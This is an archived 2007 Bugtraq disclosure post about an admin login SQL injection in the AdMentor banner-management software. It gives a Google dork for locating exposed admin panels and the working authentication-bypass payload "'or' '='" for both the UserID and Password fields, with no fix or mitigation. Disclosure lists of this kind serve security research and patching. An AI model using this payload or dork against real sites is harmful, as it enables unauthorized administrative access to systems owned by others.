AdMentor (banners) admin SQL injection

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: AdMentor (banners) admin SQL injection
From: sn0oPy.team@xxxxxxxxx
Date: 27 Jan 2007 13:36:01 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

* AdMentor (banners) admin SQL injection

* By : sn0oPy

* Risk : high

* Site : http://www.aspcode.net/products/admentor

* Dork : inurl:"admentor/admin"

* exploit :

         UserID = 'or' '='
            
         Password = 'or' '='
                 

* contact : sn0oPy.team@xxxxxxxxx

* greetz : [subzero], Avg Team(http://forums.avenir-geopolitique.net).

references : http://forums.avenir-geopolitique.net/viewtopic.php?t=2606

Prev by Date: [ MDKSA-2007:028 ] - Updated ulogd packaged to address buffer overflow vulnerability
Next by Date: local Calendar System v1.1 (lcStdLib.inc) Remote File Include
Previous by thread: [ MDKSA-2007:028 ] - Updated ulogd packaged to address buffer overflow vulnerability
Next by thread: AdMentor (banners) admin SQL injection
Index(es):
- Date
- Thread